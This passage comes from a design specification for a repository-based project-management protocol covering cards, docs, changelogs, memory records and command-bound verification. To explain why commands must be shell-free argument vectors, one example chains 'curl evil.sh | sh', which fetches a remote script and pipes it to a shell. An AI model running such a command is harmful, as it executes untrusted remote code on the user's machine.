| **Indexed document** | An existing repository document discovered by the protocol but not owned by it. |
| **Source** | A long-form or external-origin document from which operational records were derived. |
| **Derived index** | Rebuildable search and relationship data stored outside canonical files. |
| **Agent adapter** | Generated instructions or tooling for a particular assistant or IDE. |
| **Schema version** | Version of the canonical on-disk protocol contract. |
## 6. Distribution architecture
### 6.1 Initial packaging decision
The repository is a pnpm workspace with a private root; the published surface
is one core npm package plus optional provider packages (for example
`@illodev/workfile-search-local`) released in version lockstep with it.
Repository layout and npm packaging are independent decisions — the core
SHOULD keep shipping as one npm package with strong internal module
boundaries:
```text
@illodev/workfile
├── bin/ # project executable
├── core/ # public programmatic API
├── modules/
│ ├── cards/
│ ├── docs/
│ ├── changelog/
│ ├── memory/
│ └── health/
├── server/ # local HTTP API
├── ui/ # precompiled static application
├── agents/ # instruction generators
└── migrations/ # schema and legacy migrations
```
Reasons for a single core package:
- installation and version alignment remain simple;
- the existing implementation is already one vertical application;
- UI, server and core can evolve atomically while contracts stabilize;
- splitting the core would create release and compatibility overhead before
independent consumers exist. Provider packages are the exception, not a
split: they carry heavy optional dependencies (an inference runtime) that
must never reach consumers who did not opt in.
The source code MUST still enforce boundaries that allow later extraction.
### 6.2 Future package split
The following split MAY occur after at least two independent consumers require it:
```text
@illodev/workfile-core
@illodev/workfile-cli
@illodev/workfile-ui
@illodev/workfile-mcp
@illodev/workfile
```
The metapackage would preserve the same `workfile` command and configuration contract.
### 6.3 Runtime requirements
- Node.js: current active LTS and later.
- Package managers: npm, pnpm, Yarn and Bun projects are supported.
- The distributed UI MUST be precompiled; consuming projects do not require Vite or React.
- The package MUST not modify application dependencies unless explicitly requested.
- The CLI MUST work through `npx`, `pnpm dlx`, `yarn dlx` and `bunx` where supported.
## 7. Workspace discovery
The CLI discovers a workspace using this order:
1. Explicit `--root <path>`.
2. Nearest ancestor containing `project.config.mjs`.
3. Nearest ancestor containing `.project/VERSION`.
4. Current Git worktree root.
5. Current working directory.
Every command MUST print the resolved workspace root when `--verbose` is given.
It goes to stderr, so a `--json` consumer is unaffected and the answer still
reaches a human watching the run. `workfile ui` also prints it unconditionally
as part of its startup banner, and `--verbose` additionally turns on request
logging there.
A workspace is loaded through one function:
```ts
interface LoadWorkspaceOptions {
cwd?: string;
configPath?: string;
readOnly?: boolean;
}
async function loadWorkspace(
options?: LoadWorkspaceOptions
): Promise<ProjectWorkspace>;
```
Every CLI command, HTTP route, UI request and future MCP tool MUST use the same workspace
loader. No module may infer repository-relative paths from its own installed package path.
## 8. Configuration
### 8.1 Canonical file
The canonical configuration file is `project.config.mjs` at the workspace root.
```js
import { defineProject } from "@illodev/workfile";
export default defineProject({
schemaVersion: 2,
name: "Example project",
storage: {
root: ".project",
cache: ".project/.cache"
},
cards: {
enabled: true,
path: ".project/cards",
archivePath: ".project/cards/archive",
assetsPath: ".project/assets",
idPrefix: "T",
maxHierarchyDepth: 2,
claimLeaseHours: 24,
areas: ["api", "web", "infra", "docs"],
axes: { context: ["treasury", "verifactu", "billing", "iam"] },
tags: []
},
docs: {
enabled: true,
managedPath: ".project/docs",
layout: "kind",
sources: [
"README.md",
"docs/**/*.md",
"apps/*/README.md",
".project/specs/**/*.md"
],
exclude: ["**/node_modules/**", "**/vendor/**"]
},
changelog: {
enabled: true,
fragmentsPath: ".project/changelog/unreleased",
releasesPath: ".project/changelog/releases",
output: "CHANGELOG.md"
},
memory: {
enabled: true,
path: ".project/memory",
collections: [
"learnings",
"decisions",
"incidents",
"conventions",
"context"
]
},
agents: {
canonicalInstructions: ".project/agents/protocol.md",
targets: ["agents-md", "claude", "cursor", "copilot"]
},
ui: {
host: "127.0.0.1",
port: 4747,
open: true
}
});
```
### 8.2 Configuration rules
- `schemaVersion` is required.
- All paths are repository-relative and MUST resolve inside the workspace unless a specific
read-only external source adapter permits otherwise.
- The config module MUST be loaded without transpilation.
- Unknown top-level keys produce a warning in development and an error in strict CI mode.
- Environment variables MAY override runtime settings such as host and port, but MUST NOT
silently alter canonical storage paths.
- Functions in configuration are permitted only through documented extension points.
- Secrets MUST NOT be stored in `project.config.mjs`; adapters use environment variables or
external secret stores.
### 8.3 Stable and configurable vocabularies
The following are protocol-defined and stable in schema version 2:
- card statuses;
- base card types;
- priority semantics;
- relationship fields;
- core memory kinds;
- changelog fragment types;
- record identity and date formats.
The following are project-configurable:
- areas;
- additional classification axes (`cards.axes`);
- the commands a card may name and the verification methods each area accepts
at `done` (`cards.verification`);
- optional custom tags;
- source globs;
- enabled memory collections;
- UI preferences;
- agent adapter targets;
- additional validation rules.
Projects MAY add custom card types or memory collections through namespaced extensions, but
portable tools are required to treat unknown namespaced values as generic records rather
than failing to load the workspace.
## 9. Canonical folder layout
```text
project.config.mjs
.project/
├── VERSION
├── cards/
│ ├── T-0001-example.md
│ └── archive/
├── assets/
│ └── T-0001/
├── docs/ # optional managed documents
├── changelog/
│ ├── unreleased/
│ └── releases/
├── memory/
│ ├── learnings/
│ ├── decisions/
│ ├── incidents/
│ ├── conventions/
│ └── context/
├── specs/
├── sources/ # optional raw inputs, created on first use
├── agents/
│ ├── protocol.md
│ └── workflows/
└── .cache/ # gitignored, fully rebuildable
```
Rules:
- `.project/VERSION` contains the schema version and MAY contain migration metadata.
- Canonical record folders are committed to Git.
- `.project/.cache/` MUST be ignored by Git.
- Empty optional directories need not exist until first use.
- Existing project documentation may remain outside `.project/` and be indexed through
configuration.
- Record files SHOULD remain flat within their collection unless that collection explicitly
defines date- or release-based partitioning.
## 10. Common record contract
All managed records share a small conceptual contract:
```ts
interface ProjectRecord {
id: string;
kind: string;
title: string;
path: string;
created?: string;
updated?: string;
tags?: string[];
related?: string[];
body: string;
}
```
Not every file must physically repeat `kind` when its collection supplies it. The normalized
runtime model includes it.
### 10.1 IDs
- IDs are stable and MUST never be reused.
- An ID is `<PREFIX>-<SEQUENCE>` unless a module defines a date-keyed release ID.
- Default prefixes:
| Record | Prefix | Example |
| --- | --- | --- |
| Card | `T` | `T-0042` |
| Managed doc | `DOC` | `DOC-0012` |
| Changelog fragment | `CHG` | `CHG-0091` |
| Learning | `LRN` | `LRN-0017` |
| Decision | `ADR` | `ADR-0008` |
| Incident | `INC` | `INC-0004` |
| Convention | `CONV` | `CONV-0006` |
| Context | `CTX` | `CTX-0011` |
- Sequence width is at least four digits and expands without changing existing IDs.
- Allocation MUST scan active and archived records or use a transaction-safe local allocator.
- Concurrent CLI writers MUST not receive the same ID.
### 10.2 Dates
- Calendar dates use `YYYY-MM-DD`.
- Exact timestamps use RFC 3339 UTC unless a field explicitly requires a calendar date.
- `created` is immutable after creation.
- `updated` changes when canonical content or metadata changes.
- Generated indexes MUST preserve the source file modification time separately from semantic
`updated`.
### 10.3 References
Cross-module references use record IDs where possible:
```yaml
related: [T-0042, ADR-0008, CHG-0091]
```
Paths remain valid where the target is not a managed record:
```yaml
source: docs/research/payment-retries.md
```
The indexer resolves references into a graph. Unknown IDs produce doctor warnings or errors
according to the field's strictness.
### 10.4 Frontmatter format
The protocol uses a deliberately restricted YAML-compatible subset:
- one scalar per line;
- inline scalar lists using `[a, b]`;
- JSON-compatible double-quoted escaping;
- simple single-quoted scalars may be read for compatibility;
- block scalars (`|`, `>`) and block sequences may be read, and are written back in the
style they were read in;
- a scalar list written as a flow sequence spread over several lines — which is what a
formatter produces from `[a, b]` when the line exceeds its print width — MUST be read as
the list it is, for any key declared a list;
- nesting goes exactly one level deep, in one of two shapes — a mapping of scalars and
inline lists, or a sequence of such mappings;
- no anchors, aliases or tags, and no nesting past that one level;
- deeper structures use dedicated JSON files or repeated Markdown sections.
A key whose value falls outside this subset MUST be preserved verbatim on read and MUST be
refused on write, with an error naming the key. Writing a value the format cannot represent
MUST be refused for the same reason: silently serializing it loses what the author wrote.
The parser and serializer MUST be exact inverses for supported values. Repeated saves MUST
not cause textual drift. A nested value's list-ness is determined by how it is written —
`[a, b]` — and not by the name of its key, since key-level list declarations apply only to
the top level.
A multi-line flow sequence is the single exception to style preservation, and MUST be
written back on one line. Reproducing the way it was read would mean re-deriving a
formatter's line breaks from a print width the codec does not know, and it is only ever
rewritten as part of a write to that key. Drift is bounded rather than absent: the shape
converges on the canonical one in a single save and is stable from there.
## 11. Module: Work cards
### 11.1 Purpose
Cards represent actionable or potentially actionable project work. They are the operational
layer of the protocol and SHOULD remain concise enough to scan, prioritize and execute.
### 11.2 File format
Filename:
```text
T-NNNN-short-slug.md
```
Example:
```yaml
---
id: T-0042
title: Prevent duplicate invoice submission
status: doing
type: bug
priority: high
area: billing
parent: T-0010
depends: [T-0038]
origin: [T-0031, ADR-0004]
source: .project/sources/audits/invoicing.md
tags: [invoices, idempotency]
effort: M
start: 2026-07-28
due: 2026-08-01
scope: [apps/api/src/Billing, packages/sdk]
claimed_by: session-56a30d1b
claimed_at: 2026-07-28T09:32:00Z
created: 2026-07-26
updated: 2026-07-28
---
The submission endpoint can create duplicate records after a network retry.
## Acceptance criteria
- [ ] Repeated requests with the same idempotency key create one invoice.
- [ ] Existing non-idempotent clients remain compatible.
## Activity
- 2026-07-28 09:32Z alice@studio · claimed
- 2026-07-28 11:04Z alice@studio via:claude-opus-4-1/high · backlog → doing
## Notes
- 2026-07-28 — Claimed after confirming no overlapping active scope.
```
`## Activity` is the durable trail: every claim, release, transition, archive
and renumber appends one line, written by the mutation itself rather than by
the caller. A command that moved nothing appends nothing, so `transition ID
review` against a card already in `review` leaves no entry, and archiving an
archived card leaves none either. Archiving and unarchiving are written as
`archived` and `unarchived` rather than as a status change, because neither
moves the status. `## Notes` is the opposite — free prose a human or agent
writes deliberately.
A move that `force` let past a gate MUST say which gate and why, on the same
line — `review → done (forced past 3 unproven criteria: REASON)` — and the
reason MUST be demanded when, and only when, `force` waived something. Without
it a forced close and a proven one are the same entry, and every count taken
over closed cards counts them alike.
Set `cards.activityTrail: false` to switch the trail off for a workspace. It
defaults to `true`, and the only reason to disable it is a repository where the
churn costs more than the history is worth; the claim guards and the doctor do
not read it.
### 11.3 Statuses
| Status | Meaning |
| --- | --- |
| `backlog` | Identified with no commitment on when. |
| `next` | Explicitly prioritized for the upcoming execution batch. |
| `doing` | Work is actively in progress. |
| `review` | Implementation is complete but awaits verification, deployment or sign-off. |
| `blocked` | Progress depends on an external condition; Notes explain it. |
| `deferred` | Deliberately postponed; Notes record the decision. |
| `done` | Finished and verified in an environment where the result runs. |
| `discarded` | Will not be done; Notes explain why. |
`done` does not mean merely committed or merged. User-visible changes remain `review` until
verified in an appropriate running environment.
### 11.4 Types
| Type | Meaning |
| --- | --- |
| `epic` | Grouping record for related executable work. |
| `idea` | Unvalidated proposal, hidden from execution views by default. |
| `feature` | Accepted product capability. |
| `bug` | Incorrect existing behavior. |
| `task` | General executable work. |
| `audit` | Investigation or verification work. |
| `docs` | Documentation work. |
| `chore` | Maintenance without direct product behavior. |
### 11.5 Priority
| Priority | Meaning |
| --- | --- |
| `critical` | Immediate material risk or production impact. |
| `high` | Important work that should be prioritized soon. |
| `medium` | Normal priority. |
| `low` | Valuable but safely postponed. |
Priority MUST not encode workflow state or effort.
### 11.6 Classification axes
`area` is one axis and it is shaped like a delivery layer. A project that also
needs a domain axis — bounded contexts, products, customers — declares one under
`cards.axes`:
```js
cards: {
areas: ["api", "web", "infra"],
axes: { context: ["treasury", "verifactu", "billing", "iam"] }
}
```
Each declared axis becomes a flat frontmatter key on the card:
```yaml
area: api
context: treasury
```
Flat, not a nested `axes:` mapping, so the value stays greppable and the
existing query grammar reads it without a second index: `search
"context:treasury"` already filters on any frontmatter key.
An axis is either its vocabulary, as above, or an object:
```js
axes: { goal: { values: ["guards-server", "fugas-cross-tenant"], required: false } }
```
Rules:
- an axis name MUST NOT collide with a field a card already owns;
- an axis MUST declare a non-empty vocabulary;
- an axis declared as an array is required; `{ values, required: false }`
declares the vocabulary without expecting a value on every open card;
- a card value outside the declared vocabulary is invalid, the way an unknown
`area` is;
- an axis is optional on a card unless a project rule says otherwise;
- an *undeclared* frontmatter key remains legal and unvalidated — declaring an
axis is what turns a free-text note into something that fails loudly.
Health checks MUST report a card value outside the declared vocabulary as an
error, whether or not the axis is required. A card carrying no value for a
required axis SHOULD be a warning, and only while the work is open: declaring an
axis on an existing repository must not produce one diagnostic per finished
record. A card carrying no value for an axis declared `required: false` is not
reported: the shape exists for boards whose resting state is not `done`, where
the open-work exemption alone measured at three quarters of the doctor output.
The schema surface reports the declared axes and which of them are optional, so
an agent discovers them the way it discovers areas rather than by reading the
config file.
### 11.7 Hierarchy and relationships
The default hierarchy is:
```text
epic → task → subtask
```
Rules:
- hierarchy is expressed only through `parent:`;
- files do not move when re-parented;
- maximum depth defaults to two levels below an epic;
- any non-epic card may have children when within the configured depth;
- hierarchy cycles are invalid;
- deleting a parent is forbidden while references remain;
- `depends:` is an ordering hint, not a hard execution lock.
A card carries five relationship fields, and they are not interchangeable:
| Field | Holds | Means |
|---|---|---|
| `parent` | one card ID | this card is **part of** that one |
| `depends` | card IDs | those must close **before** this one is actionable |
| `origin` | record IDs, any kind | this card was **discovered while working on** those |
| `raised` | `reported` \| `derived` | who put it on the board: a person asked, or an agent inferred it from the repository |
| `related` | record IDs, any kind | worth reading alongside; no direction, no claim |
| `source` | a repository-relative path | the file the work came from, checked on disk |
`origin` is provenance, not decomposition. A card found while working on another
is not part of it — the origin is usually already closed, blocks nothing, and
the reason it matters is the direction: it answers *where did this come from*,
and read backwards, *what did that produce*. It accepts decisions and learnings
as readily as cards, because a decision spawns work as often as a card does.
`origin` is declared, never inferred. Prose naming a record is a `mention` in
the reference graph; an `origin` is a `reference`, and the two are not mixed.
An origin that resolves to no record is reported by `doctor` as
`missing-origin`, and a card naming itself as `self-origin`.
`agents context --card ID` reports both directions of it: **Came out of** for
the card's own `origin`, **Spawned** for every card declaring this one.
### 11.8 Claims and scope
A claim is an advisory lease treated as binding by protocol-aware agents.
Starting work performs one logical operation:
```text
status = doing
claimed_by = current session or actor
claimed_at = current timestamp
scope = reviewed expected paths
updated = today
```
Finishing, deferring, blocking or abandoning work clears the claim unless ownership remains
explicitly justified by a configured workflow.
Rules:
1. Never work a card claimed by another active session.
2. Compare `scope` with all other `doing` cards before claiming.
3. Path overlap produces a coordination warning.
4. Claims older than the configured lease may be broken with an explanatory Note.
5. A card outside `doing` MUST NOT retain `claimed_by` or `claimed_at`.
6. The CLI SHOULD provide atomic `claim`, `release` and `transition` operations.
### 11.9 Scheduling
`start` and `due` are optional calendar dates used for planning views.
- `due` must not precede `start`;
- either field may exist alone;
- dates do not change card status automatically;
- a future date on a completed card is not treated as lateness;
- scheduling is not a commitment unless another configured policy says so.
### 11.10 Assets
Assets are stored by card ID:
```text
.project/assets/T-0042/mockup.png
```
Rules:
- asset discovery is convention-based and not duplicated in frontmatter;
- filenames are sanitized;
- uploads are size-limited;
- path traversal is rejected;
- archiving a card does not move or break its assets;
- images may be rendered inline and other files offered as local links;
- Git suitability must be communicated before adding large binaries.
### 11.11 Archiving
- `done` and `discarded` cards may be moved to the configured archive directory.
- Archiving is explicit, never automatic.
- Archived IDs remain reserved.
- References to archived cards remain valid.
- Reopening restores a card to the live directory before transitioning it.
### 11.12 Card-declared commands
A card MAY bind an acceptance criterion to the command that proves it. The
binding lives in frontmatter, as a `verify` block:
```yaml
verify:
- id: gate
run: [pnpm, test, test/acceptance.test.ts]
criteria: [sha256:ab12…]
```
`run` MUST be an argument vector, and it MUST be executed without a shell. A
single string is refused rather than split. The reason is that the allowlist
below has to be decidable: over a shell line `pnpm test` is a prefix of
`pnpm test; curl evil.sh | sh` as surely as it is a prefix of `pnpm test -w`,
so a prefix matcher over a string would be predicting the behaviour of a parser
it does not own. Over an argv executed with no shell there is no parser between
the value that was matched and the vector the operating system receives, and
prefix matching is element-wise string equality.
An element MUST NOT be empty and MUST NOT hold a control character. This is a
round-trip rule and not a shell-safety one: frontmatter is line-oriented, so an
element carrying a newline would be stored as two lines and read back as
something its author did not write, and a command that changes when it is
stored cannot be matched against anything. Every other byte — `;`, `|`, `*`,
spaces, non-ASCII — is permitted, because under a shell-free model it is one
argument's data.
**The commands a card may name are declared by the project**, under
`cards.verification.commands`, as a list of argv prefixes. The list is empty by
default: a project that declares nothing can run nothing. A card naming a
command outside it MUST be refused with a named error, and the refusal MUST
happen in two places, because they cover different arrivals:
- on **write**, so a card authored through the protocol never lands and the
refusal is a reviewable diff rather than a red build;
- on **read**, by the doctor, because a card is a Markdown file and one can
arrive as a file in a diff — a fork's pull request — without ever calling a
mutation. That case reaches no write path at all, so the doctor rule is the
only gate it meets. It is an `error`, so the run that reports it fails.
A declared prefix MUST be matched byte for byte, element by element. An
implementation MUST NOT case-fold, trim, resolve paths, strip quotes, apply
Unicode normalisation, or join the vector into a string and search it: each
opens a gap between the command that was matched and the command that will run.
A declared entry that could never match a stored command — an empty array,
which is a prefix of everything, or an element the round trip would not return
unchanged — MUST be refused when the configuration loads.
The allowlist bounds which command a card may name. It does not bound what that
command does, and MUST NOT be documented as though it did: every command worth
allowing dispatches through a file the same pull request can edit. It is
anti-escalation on a trusted branch and a way to keep a declared command
reviewable in one place. Containment for an untrusted branch is a property of
the job — no secrets, no write token, no evidence written back — not of the
card.
**Running them.** `workfile card verify ID` executes each declared entry and
reports pass or fail per entry. It is the only writer permitted to check a bound
criterion: a criterion a `verify` entry names is refused to `card ac --check`,
so without this command a card that binds its criteria is a card nothing can
close. An entry MUST be permitted to write the criteria bound to it and no
others — a runner that could check anything would be the same escalation one
rung further in, reached by declaring an entry instead of by typing `--check`.
Every entry the card declares MUST be checked against the allowlist before the
first one is spawned, whether or not the caller selected it.
A criterion's box records what a command decided, so only a command that reached
a decision may write one:
| Outcome | Condition | Bound criteria |
| --- | --- | --- |
| `passed` | Exit status `0`. | Checked. |
| `failed` | Any other exit status. | Unchecked. |
| `timed-out` | Killed at the configured timeout. | Unchanged. |
| `errored` | No process started. | Unchanged. |
A failing run unchecking what a passing one checked is the honest reading: a
proof that no longer reproduces is not a proof, and leaving the box would let
`done` pass on it. The last two rows are not a weaker `failed` and MUST NOT be
treated as one. Killing a command at the timeout is the implementation giving
up, and a machine that cannot start the command has decided even less; neither
is a fact about the criterion, and unchecking on either would let a run on the
wrong machine erase a proof a right one produced — which no caller could undo,
the criterion being machine-owned. All four are reported, and any outcome other
than `passed` MUST fail the run.
A run that changes a criterion's state MUST leave a trail entry naming the entry
that changed it, in the same write as the change. A state change with no actor
behind it is precisely what §11.2's trail exists to prevent, and a box that
moved because a subprocess exited has no author in the record otherwise. A run
that changes nothing records nothing, by the same rule as a repeated transition.
The commands MUST run outside the card's write lock, and the bindings MUST be
resolved against a reading of the card taken after the last command exits: the
interval is minutes long, and a criterion reworded inside it is no longer bound
to the entry, so the write is refused by name rather than applied to whatever
line moved into that position.
A command MUST be given a bounded time to run — `cards.verification.timeoutSeconds`,
ten minutes by default — and an implementation MUST NOT offer a way to disable
it. The caller most likely to meet a command that never exits is an unattended
job, which has no keyboard to interrupt it with.
There is no dry run. The flag previews filesystem changes, and a run that spawns
every declared command and then skips the write-back has already done the part
worth previewing; it MUST be refused rather than reinterpreted.
### 11.13 How `done` was proved
Reaching `done` MUST write a `verified` block, and leaving `done` MUST clear
it. It is written by the protocol on every path into the status — transition,
patch, release and bulk, from every surface — and it is not patchable: no
caller can hand-write it, and an axis cannot be declared with that name.
```yaml
verified:
at: "2026-08-05T10:12:00.000Z"
method: ci
commit: 4b939fd2c1e07a0d5b6c8e93f1a2d4c7b8e05f36
run: "https://ci.example/runs/1284"
digest: "sha256:1f0c…"
```
`method` is one of `local`, `ci`, `manual` or `forced`, and the tiers carry more
of the substance here than the digest does.
| Method | Meaning | Requires |
| --- | --- | --- |
| `local` | A command ran on the author's machine. Self-reported, and the default when no method is given. | — |
| `ci` | A run anyone can open. | `run` |
| `manual` | A person judged something no command expresses. | prose evidence, and an actor |
| `forced` | The acceptance gate was walked past. | — |
`forced` is **derived, never supplied**: it is written when, and only when,
`assertAcceptanceMet` waived something, and a caller who asks for it MUST be
refused. What was waived, and why, stays on the trail line described in §11.2 —
recording the reason twice would create two places to disagree. A method
supplied on a write that does not move the card into `done` MUST be refused
rather than dropped, and so must a second method on a card that is already
`done`: a close records the verification once, and a re-run of the command must
not silently replace `ci` with `local`.
`manual` evidence is prose, so it goes in the body, as one line under
`## Notes` — `- 2026-08-05 10:12Z alvaro — manual verification: TEXT`. The
frontmatter codec holds one scalar per line, so anything longer could not live
there without being mangled.
`commit` is HEAD at the moment of the close, and it is omitted when there is
nothing to record. Git is optional: a workspace that is not a repository, a
repository with no commits, and a machine with no git all close cards normally
and simply carry no commit.
**The digest covers the criteria region and the `verify` block, and nothing
else.** It cannot cover the body, because the same transition appends a trail
entry — a whole-body digest would be invalidated by the write that created it.
It is taken over a canonical reading rather than over raw text: the criteria as
normalised text, sorted, plus the `verify` entries with their criteria sorted.
Reordering criteria, checking a box, reflowing a paragraph and rewriting prose
outside the region therefore leave it alone; editing what a criterion *says*
does not.
Staleness is reported and never enforced retroactively. `doctor` reports, as
warnings:
- `verified-criteria-changed` — the card is verified against criteria text that
has since changed;
- `verified-commit-unreachable` — a live `done` card's `commit` is not an
ancestor of HEAD, so the branch that proved it may have been rebased away or
never merged. Silent when git is absent, when the workspace is not a
repository, when the clone is shallow, and when the object is not present:
those are refusals to answer, not findings;
- `verified-block-invalid` — the block does not read as a verification. Nothing
in the protocol can write one, so it means a hand edit or a card that arrived
as a file in a diff. Worth reporting because a block the codec cannot read
makes the card unwritable in both directions: it can be neither rewritten nor
cleared, so reopening it fails too.
A `done` card carrying no block at all is deliberately **not** reported. Every
card closed before this existed has none, and a warning per historical card is
how doctor output stops being read.
### 11.14 Which methods an area accepts
A project MAY declare, per area, which of the methods above it accepts at
`done`, under `cards.verification.methods`:
```js
cards: {
areas: ["api", "web", "docs"],
verification: {
methods: { api: ["ci"], docs: ["ci", "manual"], "*": ["ci", "local"] }
}
}
```
`*` answers for every area the map does not name, including areas added after
the policy was written. A project that declares nothing accepts every method,
which is the behaviour of every workspace written before this key existed, and
an implementation MUST treat "declares nothing" and "declares the whole
vocabulary" as distinguishable: the first has no opinion and the second is a
policy somebody wrote.
A write that would move a card into `done` with a method the card's area does
not accept MUST be refused with a named error, from every surface, and the
refusal MUST name the accepted methods. **A caller that names no method is
judged, not exempt**: §11.13 resolves an unnamed method to `local`, so under
`{ api: ["ci"] }` a bare close of an `api` card is refused. The permissive
reading — no method recorded, therefore nothing to check — would make the gate
escapable by typing less.
The gate is waivable, like the other two gates a close meets. `--force` with a
reason gets past it, the trail line names the area's verification policy among
what was waived, and the block then records `forced` rather than the method that
was refused — which is why a forced close MUST NOT also name a method. A policy
MUST NOT name `forced` itself: it is not a method a caller chose, and a project
declaring it would be accepting a bypass as proof.
The methods a policy names MUST be validated when the configuration loads. The
*areas* it names MUST NOT be: an area may be removed from `cards.areas` while
the policy still names it, and a configuration that refuses to load takes every
command in the repository with it — including the doctor that would have
explained why. It is reported instead, as `verification-policy-area-unknown`,
beside the equivalent finding for a `search.provider` that resolves to nothing.
Policy is not applied retroactively. A card already `done` whose recorded method
the current policy no longer accepts is reported as the warning
`verification-method-unaccepted` and never re-gated: tightening a policy must
not invalidate closed work, and there is nothing to do about a shipped card
except decide it is acceptable, which is what the doctor baseline is for.
### 11.15 What produced a write
The trail records an actor — which human, which session — and nothing about
what did the work. A writer MAY declare what produced its writes, and when it
does the protocol records it in two places: on the trail line as a second token
after the actor, `via:MODEL/REASONING`, and in frontmatter as `produced_by`.
```yaml
produced_by:
model: claude-opus-4-1
reasoning: high
basis: self-reported
```
Rules:
1. **Beside the actor, never inside it.** `claimed_by` and the actor segment
of a trail line are unchanged by a declared producer. Every comparison of
actors — the claim guard, `claimSeparation`, the edit hook — reads the same
string it read before.
2. **Self-reported, and the record says so.** The declaration comes from the
writer's environment (`WORKFILE_MODEL`, `WORKFILE_REASONING`, the host's own
effort variable, or what the host's hook copied into the session file), and
an agent can set an environment variable to anything. Every block carries
`basis: self-reported` and MUST NOT be read as attested.
3. **Both halves, or the absence stated.** `model` and `reasoning` are each a
label or the word `undeclared`; the trail token drops an undeclared
reasoning and keeps an undeclared model, so the line still says a producer
was declared and what was not.
4. **A label, not a payload.** A declared value is at most 64 characters of
`[A-Za-z0-9._:+-]`. Anything else is refused and reported to the caller,
never written. This is what keeps the field from carrying a prompt, a key
or a path into a committed record.
5. **Last declared writer, plus history.** The frontmatter block holds the
newest writer *that declared a producer*, so it can be counted over without
parsing prose; the trail keeps every earlier one. A write that declares
nothing puts no token on its line and leaves the block as it was — the
line without a token is the record of that write, and a human's note after
an agent's close does not erase which model closed it. The block is not
patchable and cannot be declared as an axis.
6. **Nothing declared, nothing written.** A workspace where no writer declares
a producer produces records byte-identical to those of a protocol without
this section. A writer that declared something the record refused is not
that case: its write records `undeclared` on both halves, because it said
it was something.
`doctor` reports `produced-by-invalid`, a warning, for a block that does not
read as a producer: the protocol cannot write one, so it is a hand edit.
## 12. Module: Documentation
### 12.1 Purpose
The Docs module provides one navigable and searchable view over project documentation without
requiring a disruptive migration of existing files.
It distinguishes:
1. **Indexed documents** — existing files owned by the project structure.
2. **Managed documents** — records created under the protocol with structured metadata.
### 12.2 Indexed documents
Configured glob patterns discover documents such as:
```text
README.md
docs/**/*.md
apps/*/README.md
packages/*/docs/**/*.md
```
Indexed documents:
- remain at their original path;
- are read-only by default in the protocol UI;
- may be opened in the configured editor;
- may participate in search, backlinks and freshness checks;
- do not require protocol frontmatter;
- receive a derived identity based on path unless explicitly assigned a managed ID.
An indexed tree that is published as a site may declare itself with
`docs.routeRoots`. Inside such a root, a link target is a **route** rather than
a path: it resolves from the root itself rather than from the linking file, and
onto whichever file backs the route — `.md`, `.mdx`, or an `index` of either.
Without it, a documentation site whose house style is `[text](section/page)` has
every link reported as broken, and any genuinely dead one is lost in the noise.
`routeRoots` only ever widens what resolves. The file-relative reading is still
tried, and outside a declared root a link is a path.
### 12.3 Managed documents
Managed documents live under `.project/docs/` or another configured path.
```yaml
---
id: DOC-0012
title: Billing architecture
kind: architecture
status: current
owners: [billing]
related: [T-0042, ADR-0008]
created: 2026-07-20
updated: 2026-07-28
---
Long-form documentation body.
```
Default document kinds:
- `architecture`
- `product`
- `runbook`
- `guide`
- `reference`
- `research`
- `spec`
- `handoff`
Default statuses:
- `draft`
- `current`
- `stale`
- `superseded`
- `archived`
Projects MAY add namespaced kinds.
Managed documents MAY live in folders below the managed path. Implementations
MUST load them recursively, so a folder created by hand is a valid organization
with no protocol change, and MUST keep the identifier global and sequential: two
documents MUST NOT share an ID even in different folders. Folders are
organization, never identity, so moving a document MUST NOT change its ID.
`docs.layout` selects where new managed documents are written:
- `kind` (default) — a folder named after the document kind;
- `flat` — the managed root.
An explicit folder (`--folder`, or `folder` in the API) MUST override the layout
and MUST be rejected when it resolves outside the managed path.
### 12.4 Relationships
Docs may reference:
- cards that implement or maintain them;
- decisions that justify them;
- incidents that changed procedures;
- other documents they supersede;
- source-code paths they describe.
The UI SHOULD show incoming and outgoing links.
### 12.5 Freshness
The protocol MUST distinguish objective checks from heuristic checks.
Objective examples:
- referenced path no longer exists;
- related managed record ID is invalid;
- document declares `supersedes` but target is missing.
Heuristic examples:
- source paths changed after the document's `updated` date;
- related cards completed after the document was last reviewed;
- configured review interval expired.
Heuristic freshness issues are warnings, never automatic rewrites.
### 12.6 Documentation mutations
The MVP UI MAY keep documents read-only. The core and CLI MUST nevertheless expose safe
create and update functions for managed documents so future editors and agents do not bypass
validation.
## 13. Module: Changelog and releases
### 13.1 Purpose
The changelog module records user-meaningful and operator-meaningful changes as atomic
fragments, then composes them into releases and optional generated files.
Git commits remain implementation history. Changelog records describe the meaning of change.
### 13.2 Change fragment format
```yaml
---
id: CHG-0091
title: Prevent duplicate invoice submissions
type: fixed
area: billing
visibility: public
cards: [T-0042]
issues: []
created: 2026-07-28
updated: 2026-07-28
---
Network retries now reuse the original invoice instead of creating another one.
```
Default types:
- `added`
- `changed`
- `fixed`
- `deprecated`
- `removed`
- `security`
- `internal`
Visibility:
- `public`
- `internal`
### 13.3 Unreleased fragments
Fragments are created under:
```text
.project/changelog/unreleased/
```
They SHOULD be created in the same change set as the implementation when the result is worth
communicating. Trivial internal changes may omit them according to project policy.
### 13.4 Releases
A release operation:
1. selects unreleased fragments;
2. validates their references;
3. orders and groups them deterministically;
4. writes a release record;
5. optionally updates a generated `CHANGELOG.md`;
6. moves or marks consumed fragments without losing their IDs;
7. records the release version and date.
Release record example:
```yaml
---
id: REL-0017
title: Version 2.4.0
version: 2.4.0
date: 2026-07-28
fragments: [CHG-0091, CHG-0092]
commit: 1a2b3c4
---
Release notes may contain curated introductory text.
```
Release ids are sequential like every other record id, not derived from the
date: `changelog.releasePrefix` supplies the prefix and defaults to `REL`. An
earlier revision of this example showed `REL-2026-07-28`, which no release has
ever been called.
### 13.5 Generated changelog
A generated changelog is output, not canonical input. Manual prose may be preserved through
explicit managed sections or release records, never by editing generated sections that will
be overwritten.
### 13.6 Card integration
- Completing a card does not always require a changelog fragment.
- Public product changes SHOULD reference at least one fragment before becoming `done` when
configured policy requires it.
- Changelog fragments MAY reference multiple cards.
- A release can be browsed back to the work, decisions and incidents that produced it.
## 14. Module: Project memory
### 14.1 Purpose
Memory stores durable project knowledge that should survive individual conversations and
agent sessions. It is not a transcript archive.
A memory record must answer at least one of these questions:
- What did we decide and why?
- What did we learn that changes future work?
- What failed and how do we prevent recurrence?
- What convention must future contributors follow?
- What temporary context matters until a known expiry point?
### 14.2 Memory collections
#### Learnings
Reusable observations supported by experience.
```yaml
---
id: LRN-0017
title: Avoid serializing lazy proxies in audit diffs
category: backend
status: active
confidence: high
occurrences: 3
